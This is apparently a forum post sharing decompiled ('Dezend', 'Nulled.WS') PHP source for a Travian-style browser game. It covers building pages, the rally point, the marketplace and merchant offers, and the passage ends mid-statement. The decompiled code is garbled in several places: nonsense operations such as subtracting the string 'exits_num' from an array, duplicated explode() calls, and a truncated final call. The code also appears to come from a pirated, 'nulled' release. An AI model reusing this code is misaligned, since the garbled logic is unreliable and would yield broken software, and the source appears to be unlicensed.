src=\"assets/x.gif\" alt=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\" title=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"res\">\r\n\t\t\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";            echo item_title_1;            echo "\" title=\"";            echo item_title_1;            echo "\">";            echo $neededResources[1];            echo " | \r\n\t\t\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";            echo item_title_2;            echo "\" title=\"";            echo item_title_2;            echo "\">";            echo $neededResources[2];            echo " | \r\n\t\t\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";            echo item_title_3;            echo "\" title=\"";            echo item_title_3;            echo "\">";            echo $neededResources[3];            echo " | \r\n\t\t\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";            echo item_title_4;            echo "\" title=\"";            echo item_title_4;            echo "\">";            echo $neededResources[4];            echo " | \r\n\t\t\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";            echo LANGUI_BUILD_T7;            echo "\" title=\"";            echo LANGUI_BUILD_T7;            echo "\">";            echo $build['levels'][0]['people_inc'];            echo " | \r\n\t\t\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";            echo text_period_lang;            echo "\" title=\"";            echo text_period_lang;            echo "\">";            echo WebHelper::secondstostring( $build['levels'][0]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 100 ) );            echo "\t\t\t\t";            echo $this->getResourceGoldExchange( $neededResources, $item_id, $this->buildingIndex );            echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"link\">";            echo $this->getActionText( $neededResources, FALSE, FALSE, $item_id );            echo "</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";        }    }    echo "\r\n";    if ( $_GET['id'] != 39 && $_GET['id'] != 40 && !( $this->data['is_special_village'] && ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 ) ) )    {        echo "<p class=\"switch\"><a id=\"soon_link\" href=\"javascript:showPane('soon');\">";        echo LANGUI_BUILD_T9;        echo "</a></p>\r\n<div id=\"build_list_soon\" class=\"hide\">\r\n\r\n";        foreach ( $this->newBuilds['soon'] as $buildArray )        {            foreach ( $buildArray as $item_id => $build )            {                echo "<h2>";                echo constant( "item_".$item_id );                echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";                echo constant( "item_desc_".$item_id );                echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";                echo $item_id;                echo ");\"><img class=\"building g";                echo $item_id;                echo "\" src=\"assets/x.gif\" alt=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\" title=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"requ\">";                echo LANGUI_BUILD_T11;                echo ":</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td>\r\n\t\t\t";                $flag = FALSE;                foreach ( $build['pre_requests'] as $reqId => $reqValue )                {                    echo "\t\t\t";                    if ( $flag )                    {                        echo ", ";                    }                    echo "<a href=\"#\" onclick=\"return showManual(4,";                    echo $reqId;                    echo ");\">";                    if ( $reqValue == NULL )                    {                        echo "<strike>";                    }                    echo constant( "item_".$reqId );                    if ( $reqValue == NULL )                    {                        echo "</strike>";                    }                    echo "</a>";                    if ( $reqValue != NULL )                    {                        echo "<s";                        echo "pan title=\"";                        echo $build['pre_requests_dependencyCount'][$reqId] < 0 ? ">" : "+".$build['pre_requests_dependencyCount'][$reqId];                        echo "\"> ";                        echo level_lang;                        echo " ";                        echo $reqValue;                    }                    echo "</span>\r\n\t\t\t";                    $flag = TRUE;                }                echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";            }        }        echo "</div>\r\n";    }    echo "</div>\r\n";}?>
Hope you got what you wanted ..



Here is the decoded of build.php

PHP:
<?php/*********************//*                   *//*  Dezend for PHP5  *//*         NWS       *//*      Nulled.WS    *//*                   *//*********************/
require( ".".DIRECTORY_SEPARATOR."app".DIRECTORY_SEPARATOR."boot.php" );require_once( MODEL_PATH."build.php" );class GPage extends VillagePage{
    public $productionPane = TRUE;    public $buildingView = "";    public $buildingIndex = -1;    public $buildProperties = NULL;    public $newBuilds = NULL;    public $troopsUpgrade;    public $troopsUpgradeType;    public $buildingTribeFactor;    public $troops = array( );    public $selectedTabIndex = 0;    public $villageOases;    public $childVillages;    public $hasHero = FALSE;    public $totalCpRate;    public $totalCpValue;    public $neededCpValue;    public $childVillagesCount;    public $showBuildingForm;    public $embassyProperty;    public $merchantProperty;    public $rallyPointProperty;    public $crannyProperty = array( 'buildingCount' => 0, 'totalSize' => 0 );    public $warriorMessage = "";    public $dataList;    public $pageSize = 40;    public $pageCount;    public $pageIndex;
    public function GPage( )    {        parent::villagepage( );         $this->viewFile = "build.phtml";        $this->contentCssClass = "build";    }
    public function onLoadBuildings( $building )    {        $GameMetadata = $GLOBALS['GameMetadata'];        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['bid'] ) && is_numeric( $_GET['bid'] ) && $_GET['bid'] == $building['item_id'] )        {            $this->buildingIndex = $building['index'];        }        if ( $building['item_id'] == 23 && 0 < $building['level'] )        {            ++$this->crannyProperty['buildingCount'];            $this->crannyProperty['totalSize'] += $this->crannyProperty['buildingCount'];        }    }
     public function load( )    {        parent::load( );        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['id'] ) && is_numeric( $_GET['id'] ) && isset( $this->buildings[$_GET['id']] ) )        {            $this->buildingIndex = intval( $_GET['id'] );        }        $this->buildProperties = $this->getBuildingProperties( $this->buildingIndex );        if ( $this->buildProperties == NULL )        {            $this->redirect( "village1.php" );        }        else if ( $this->buildProperties['emptyPlace'] )        {            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            $this->newBuilds = array(                "available" => array( ),                "soon" => array( )            );            foreach ( $this->gameMetadata['items'] as $item_id => $build )            {                if ( $item_id <= 4 || !isset( $build['for_tribe_id'][$this->tribeId] ) )                {                    continue;                }                $canBuild = $this->canCreateNewBuild( $item_id );                if ( $canBuild != 0 - 1 )                {                    if ( $canBuild )                    {                        if ( !isset( $this->newBuilds['available'][$build['levels'][0]['time_consume']] ) )                        {                            $this->newBuilds['available'][$build['levels'][0]['time_consume']] = array( );                        }                        $this->newBuilds['available'][$build['levels'][0]['time_consume']][$item_id] = $build;                    }                    else                    {                        $dependencyCount = 0;                        foreach ( $build['pre_requests'] as $reqId => $reqValue )                        {                            if ( $reqValue != NULL )                            {                                $build['pre_requests_dependencyCount'][$reqId] = $reqValue - $this->_getMaxBuildingLevel( $reqId );                                $dependencyCount += $build['pre_requests_dependencyCount'][$reqId];                            }                        }                        if ( !isset( $this->newBuilds['soon'][$dependencyCount] ) )                        {                            $this->newBuilds['soon'][$dependencyCount] = array( );                        }                        $this->newBuilds['soon'][$dependencyCount][$item_id] = $build;                    }                }            }            ksort( $this->newBuilds['available'], SORT_NUMERIC );            ksort( $this->newBuilds['soon'], SORT_NUMERIC );        }        else        {            $bitemId = $this->buildProperties['building']['item_id'];            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            if ( 4 < $bitemId )            {                $this->villagesLinkPostfix .= "&bid=".$bitemId;            }            $this->buildingTribeFactor = isset( $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] ) ? $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] : 1;            if ( $this->buildings[$this->buildingIndex]['level'] == 0 )            {                return;            }            switch ( $bitemId )            {            case 12 :            case 13 :                $this->productionPane = FALSE;                $this->buildingView = "Blacksmith_Armoury";                $this->handleBlacksmithArmoury( );                break;            case 15 :                if ( 10 <= $this->buildings[$this->buildingIndex]['level'] )                {                    $this->buildingView = "MainBuilding";                    $this->handleMainBuilding( );                }                break;            case 16 :                $this->productionPane = FALSE;                $this->buildingView = "RallyPoint";                $this->handleRallyPoint( );                break;            case 17 :                $this->productionPane = FALSE;                $this->buildingView = "Marketplace";                $this->handleMarketplace( );                break;            case 18 :                $this->productionPane = FALSE;                $this->buildingView = "Embassy";                $this->handleEmbassy( );                break;            case 19 :            case 20 :            case 21 :            case 29 :            case 30 :            case 36 :                $this->_getOnlyMyTroops( );                $this->productionPane = $bitemId == 36;                $this->buildingView = "TroopBuilding";                $this->handleTroopBuilding( );                break;            case 22 :                $this->productionPane = FALSE;                $this->buildingView = "Academy";                $this->handleAcademy( );                break;            case 23 :                $this->productionPane = TRUE;                $this->buildingView = "Cranny";                break;            case 24 :                $this->productionPane = FALSE;                $this->buildingView = "TownHall";                $this->handleTownHall( );                break;            case 25 :            case 26 :                $this->productionPane = FALSE;                $this->buildingView = "Residence_Palace";                $this->handleResidencePalace( );                break;            case 37 :                $this->productionPane = FALSE;                $this->buildingView = "HerosMansion";                $this->handleHerosMansion( );                break;            case 40 :                $this->productionPane = FALSE;                break;            case 42 :                $this->_getOnlyMyTroops( );                $this->productionPane = TRUE;                $this->buildingView = "Warrior";                $this->handleWarrior( );            }        }    }
    public function handleBlacksmithArmoury( )    {        $this->troopsUpgradeType = $this->buildings[$this->buildingIndex]['item_id'] == 12 ? QS_TROOP_UPGRADE_ATTACK : QS_TROOP_UPGRADE_DEFENSE;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        $_c = 0;        foreach ( $_arr as $troopStr )        {            ++$_c;            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            $tlevel = $this->troopsUpgradeType == QS_TROOP_UPGRADE_ATTACK ? $attack_level : $defense_level;            if ( $troopId != 99 && $_c <= 8 && $tlevel < 20 && $researches_done == 1 )            {                $this->troopsUpgrade[$troopId] = $tlevel;            }        }        if ( isset( $_GET['a'], $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troopsUpgrade[intval( $_GET['a'] )] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $level = $this->troopsUpgrade[$troopId];            $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']]['troop_upgrades'][$troopId][$level];            if ( !$this->isResourcesAvailable( $buildingMetadata['resources'] ) )            {            }            else            {                $calcConsume = intval( $buildingMetadata['time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->villageId = $this->data['selected_village_id'];                $newTask->procParams = $troopId." ".( $level + 1 );                $newTask->tag = $buildingMetadata['resources'];                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleMainBuilding( )    {        if ( $this->isPost( ) && isset( $_POST['drbid'] ) && 19 <= intval( $_POST['drbid'] ) && intval( $_POST['drbid'] ) <= sizeof( $this->buildings ) && isset( $this->buildings[$_POST['drbid']] ) && 0 < $this->buildings[$_POST['drbid']]['level'] && !isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $item_id = $this->buildings[$_POST['drbid']]['item_id'];            $calcConsume = intval( $this->gameMetadata['items'][$item_id]['levels'][$this->buildings[$_POST['drbid']]['level'] - 1]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 400 ) );            $newTask = new QueueTask( QS_BUILD_DROP, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->buildingId = $item_id;            $newTask->procParams = $this->buildings[$_POST['drbid']]['index'];            $this->queueModel->addTask( $newTask );        }        else if ( isset( $_GET['qid'] ) && is_numeric( $_GET['qid'] ) && isset( $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && isset( $_GET['d'] ) && isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );        }    }
    public function handleRallyPoint( )    {        if ( isset( $_GET['d'] ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['d'] ) );        }        $this->rallyPointProperty = array(            "troops_in_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_intrap_num" )            ),            "troops_out_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_out_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_out_intrap_num" )            ),            "troops_in_oases" => array( ),            "war_to_village" => $this->queueModel->tasksInQueue['war_troops']['to_village'],            "war_from_village" => $this->queueModel->tasksInQueue['war_troops']['from_village'],            "war_to_oasis" => $this->queueModel->tasksInQueue['war_troops']['to_oasis']        );        $village_oases_id = trim( $this->data['village_oases_id'] );        if ( $village_oases_id != "" )        {            $m = new BuildModel( );            $result = $m->getOasesDataById( $village_oases_id );            while ( $result->next( ) )            {                $this->rallyPointProperty['troops_in_oases'][$result->row['id']] = array(                    "oasisRow" => $result->row,                    "troopsTable" => $this->_getOasisTroopsList( $result->row['troops_num'] ),                    "war_to" => isset( $this->rallyPointProperty['war_to_oasis'][$result->row['id']] ) ? $this->rallyPointProperty['war_to_oasis'][$result->row['id']] : NULL                );            }            $m->dispose( );        }    }
   public function _canCancelWarTask( $taskType, $taskId )    {        if ( !QueueTask::iscancelabletask( $taskType ) )        {            return FALSE;        }        $timeout = QueueTask::getmaxcanceltimeout( $taskType );        if ( 0 - 1 < $timeout )        {            $_task = NULL;            foreach ( $this->queueModel->tasksInQueue[$taskType] as $t )            {                if ( !( $t['id'] == $taskId ) )                {                    continue;                }                $_task = $t;                break;                break;            }            if ( $_task == NULL )            {                return FALSE;            }            $elapsedTime = $t['elapsedTime'];            if ( $timeout < $elapsedTime )            {                return FALSE;            }        }        return TRUE;    }
    public function _getOasisTroopsList( $troops_num )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $troops_num ) != "" )        {            $t_arr = explode( "|", $troops_num );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = $t2_arr[0];                $villageData = $m->getVillageData2ById( $vid );                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function _getTroopsList( $key )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $this->data[$key] ) != "" )        {            $t_arr = explode( "|", $this->data[$key] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = intval( $t2_arr[0] );                $villageData = NULL;                if ( $vid == 0 - 1 )                {                    $vid = $this->data['selected_village_id'];                    $villageData = array( "id" => $vid, "village_name" => $this->data['village_name'], "player_id" => $this->player->playerId, "player_name" => buildings_p_thisvillage );                }                else                {                    $villageData = $m->getVillageData2ById( $vid );                }                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                if ( $vid == $this->data['selected_village_id'] )                {                    $returnTroops[$vid]['hasHero'] = intval( $this->data['hero_in_village_id'] ) == intval( $this->data['selected_village_id'] );                    if ( $returnTroops[$vid]['hasHero'] )                    {                         $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$this->data['hero_troop_id']]['crop_consumption'];                       }                }                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function handleMarketplace( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $itemLevel = $this->buildings[$this->buildingIndex]['level'];        $tribeMetadata = $this->gameMetadata['tribes'][$this->data['tribe_id']];        $tradeOfficeLevel = $this->_getMaxBuildingLevel( 28 );        $capacityFactor = $tradeOfficeLevel == 0 ? 1 : $this->gameMetadata['items'][28]['levels'][$tradeOfficeLevel - 1]['value'] / 100;        $capacityFactor *= $this->gameMetadata['game_speed'];        $total_merchants_num = $this->gameMetadata['items'][$itemId]['levels'][$itemLevel - 1]['value'];        $exist_num = $total_merchants_num - $this->queueModel->tasksInQueue['out_merchants_num'] - $this->data['offer_merchants_count'];        if ( $exist_num < 0 )        {            $exist_num = 0;        }        $this->merchantProperty = array( "speed" => $tribeMetadata['merchants_velocity'] * $this->gameMetadata['game_speed'], "capacity" => floor( $tribeMetadata['merchants_capacity'] * $capacityFactor ), "total_num" => $total_merchants_num, "exits_num" => $exist_num, "confirm_snd" => FALSE, "same_village" => FALSE, "vRow" => NULL );        if ( $this->selectedTabIndex == 0 )        {            $m = new BuildModel( );            if ( $this->isPost( ) || isset( $_GET['vid2'] ) )            {                $resources = array( "1" => isset( $_POST['r1'] ) ? intval( $_POST['r1'] ) : 0, "2" => isset( $_POST['r2'] ) ? intval( $_POST['r2'] ) : 0, "3" => isset( $_POST['r3'] ) ? intval( $_POST['r3'] ) : 0, "4" => isset( $_POST['r4'] ) ? intval( $_POST['r4'] ) : 0 );                $this->merchantProperty['confirm_snd'] = $this->isPost( ) ? isset( $_POST['act'] ) && $_POST['act'] == 1 : isset( $_GET['vid2'] );                $map_size = $this->setupMetadata['map_size'];                $doSend = FALSE;                if ( $this->merchantProperty['confirm_snd'] )                {                    $vRow = NULL;                    if ( trim( $_POST['y'] ) != "" )                    {                        $vid = $this->__getVillageId( $map_size, $this->__getCoordInRange( $map_size, intval( $_POST['x'] ) ), $this->__getCoordInRange( $map_size, intval( $_POST['y'] ) ) );                        $vRow = $m->getVillageDataById( $vid );                    }                    else                    {                        if ( isset( $_POST['vname'] ) && trim( $_POST['vname'] ) != "" )                        {                            $vRow = $m->getVillageDataByName( trim( $_POST['vname'] ) );                        }                        else                        {                            if ( isset( $_GET['vid2'] ) )                            {                                $vRow = $m->getVillageDataById( intval( $_GET['vid2'] ) );                                if ( $vRow != NULL )                                {                                    $_POST['x'] = $vRow['rel_x'];                                    $_POST['y'] = $vRow['rel_y'];                                }                            }                        }                    }                }                else                {                    $doSend = TRUE;                    $vRow = $m->getVillageDataById( intval( $_POST['vid2'] ) );                    $this->merchantProperty['showError'] = FALSE;                    $_POST['r1'] = $_POST['r2'] = $_POST['r3'] = $_POST['r4'] = "";                }                if ( 0 < intval( $vRow['player_id'] ) && $m->getPlayType( intval( $vRow['player_id'] ) ) == PLAYERTYPE_ADMIN )                {                    $this->merchantProperty['showError'] = FALSE;                    $this->merchantProperty['confirm_snd'] = FALSE;                }                else                {                    $this->merchantProperty['vRow'] = $vRow;                    $vid = $this->merchantProperty['to_vid'] = $vRow != NULL ? $vRow['id'] : 0;                    $rel_x = $vRow['rel_x'];                    $rel_y = $vRow['rel_y'];                    $this->merchantProperty['same_village'] = $vid == $this->data['selected_village_id'];                    $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources );                    $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources[1] + $resources[2] + $resources[3] + $resources[4] ) / $this->merchantProperty['capacity'] );                    $this->merchantProperty['confirm_snd'] = 0 < $vid && $this->merchantProperty['available_res'] && 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] && !$this->merchantProperty['same_village'];                    $this->merchantProperty['showError'] = !$this->merchantProperty['confirm_snd'];                    $distance = WebHelper::getdistance( $this->data['rel_x'], $this->data['rel_y'], $rel_x, $rel_y, $this->setupMetadata['map_size'] / 2 );                    $this->merchantProperty['vRow_time'] = intval( $distance / $this->merchantProperty['speed'] * 3600 );                    if ( !$this->merchantProperty['showError'] && $doSend && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $this->merchantProperty['confirm_snd'] = FALSE;                        $this->merchantProperty -= "exits_num";                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $this->merchantProperty['vRow_time'] );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $vRow['player_id'];                        $newTask->toVillageId = $vid;                        $newTask->procParams = $this->merchantProperty['vRow_merchant_num']."|".( $resources[1]." ".$resources[2]." ".$resources[3]." ".$resources[4] );                        $newTask->tag = $resources;                        $this->queueModel->addTask( $newTask );                    }                }            }            $m->dispose( );        }        else if ( $this->selectedTabIndex == 1 )        {            $m = new BuildModel( );            $showOfferList = TRUE;            if ( isset( $_GET['oid'] ) && 0 < intval( $_GET['oid'] ) )            {                $oRow = $m->getOffer2( intval( $_GET['oid'] ), $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2 );                if ( $oRow != NULL )                {                    $aid = 0;                    if ( $oRow['alliance_only'] && 0 < intval( $this->data['alliance_id'] ) )                    {                        $aid = $m->getPlayerAllianceId( $oRow['player_id'] );                    }                    $res2 = explode( "|", $oRow['offer'] );                    $res1 = explode( "|", $oRow['offer'] );                    list( $res1, $res2 ) = $res1;                    $resArr1 = explode( " ", $res1 );                    $needResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res1_item_id = 0;                    $res1_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res1_item_id = $i + 1;                            $res1_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $resArr1 = explode( " ", $res2 );                    $giveResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res2_item_id = 0;                    $res2_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res2_item_id = $i + 1;                            $res2_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $distance = $oRow['timeInSeconds'] / 3600 * $oRow['merchants_speed'];                    $acceptResult = $this->_canAcceptOffer( $needResources, $giveResources, $oRow['village_id'], $oRow['alliance_only'], $aid, $oRow['max_time'], $distance );                    if ( $acceptResult == 5 && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $showOfferList = FALSE;                        $this->merchantProperty['offerProperty'] = array( "player_id" => $oRow['player_id'], "player_name" => $oRow['player_name'], "res1_item_id" => $res1_item_id, "res1_value" => $res1_value, "res2_item_id" => $res2_item_id, "res2_value" => $res2_value );                        $merchantNum = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $distance / ( $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] ) * 3600 );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $oRow['player_id'];                        $newTask->toVillageId = $oRow['village_id'];                        $newTask->procParams = $merchantNum."|".( $giveResources[1]." ".$giveResources[2]." ".$giveResources[3]." ".$giveResources[4] );                        $newTask->tag = $giveResources;                        $this->queueModel->addTask( $newTask );                        $newTask = new QueueTask( QS_MERCHANT_GO, $oRow['player_id'], $oRow['timeInSeconds'] );                        $newTask->villageId = $oRow['village_id'];                        $newTask->toPlayerId = $this->player->playerId;                        $newTask->toVillageId = $this->data['selected_village_id'];                        $newTask->procParams = $oRow['merchants_num']."|".( $needResources[1]." ".$needResources[2]." ".$needResources[3]." ".$needResources[4] );                        $newTask->tag = array( "1" => 0, "2" => 0, "3" => 0, "4" => 0 );                        $this->queueModel->addTask( $newTask );                        $m->removeMerchantOffer( intval( $_GET['oid'] ), $oRow['player_id'], $oRow['village_id'] );                    }                }            }            $this->merchantProperty['showOfferList'] = $showOfferList;            if ( $showOfferList )            {                $rowsCount = $m->getAllOffersCount( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                $this->pageCount = 0 < $rowsCount ? ceil( $rowsCount / $this->pageSize ) : 1;                $this->pageIndex = isset( $_GET['p'] ) && is_numeric( $_GET['p'] ) && intval( $_GET['p'] ) < $this->pageCount ? intval( $_GET['p'] ) : 0;                $this->merchantProperty['all_offers'] = $m->getAllOffers( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'], $this->pageIndex, $this->pageSize );            }            $m->dispose( );        }        else        {            if ( $this->selectedTabIndex == 2 )            {                $m = new BuildModel( );                $this->merchantProperty['showError'] = FALSE;                $this->merchantProperty['showError2'] = FALSE;                $this->merchantProperty['showError3'] = FALSE;                if ( $this->isPost( ) )                {                     if ( isset( $_POST['m1'] ) && 0 < intval( $_POST['m1'] ) && isset( $_POST['m2'] ) && 0 < intval( $_POST['m2'] ) && isset( $_POST['rid1'] ) && 0 < intval( $_POST['rid1'] ) && isset( $_POST['rid2'] ) && 0 < intval( $_POST['rid2'] ) )                        {                        $resources1 = array( "1" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 1 ? intval( $_POST['m1'] ) : 0, "2" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 2 ? intval( $_POST['m1'] ) : 0, "3" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 3 ? intval( $_POST['m1'] ) : 0, "4" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 4 ? intval( $_POST['m1'] ) : 0 );                        $resources2 = array( "1" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 1 ? intval( $_POST['m2'] ) : 0, "2" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 2 ? intval( $_POST['m2'] ) : 0, "3" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 3 ? intval( $_POST['m2'] ) : 0, "4" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 4 ? intval( $_POST['m2'] ) : 0 );                        if ( intval( $_POST['rid1'] ) == intval( $_POST['rid2'] ) || intval( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) <= 0 || intval( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) <= 0 )                        {                            $this->merchantProperty['showError'] = TRUE;                        }                        else if ( 10 < ceil( ( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) / ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) ) )                        {                            $this->merchantProperty['showError'] = TRUE;                            $this->merchantProperty['showError3'] = TRUE;                        }                        $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources1 );                        if ( $this->merchantProperty['available_res'] && !$this->merchantProperty['showError'] )                        {                            $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) / $this->merchantProperty['capacity'] );                            if ( 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] )                            {                                $this->merchantProperty -= "exits_num";                                $this->data += "offer_merchants_count";                                $offer = $resources1[1]." ".$resources1[2]." ".$resources1[3]." ".$resources1[4]."|".( $resources2[1]." ".$resources2[2]." ".$resources2[3]." ".$resources2[4] );                                $m->addMerchantOffer( $this->player->playerId, $this->data['name'], $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->merchantProperty['vRow_merchant_num'], $offer, isset( $_POST['ally'] ), 0 < intval( $_POST['d2'] ) ? intval( $_POST['d2'] ) : 0, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                                foreach ( $resources1 as $k => $v )                                {                                    $this->resources[$k] -= "current_value";                                }                                $this->queueModel->_updateVillage( FALSE, 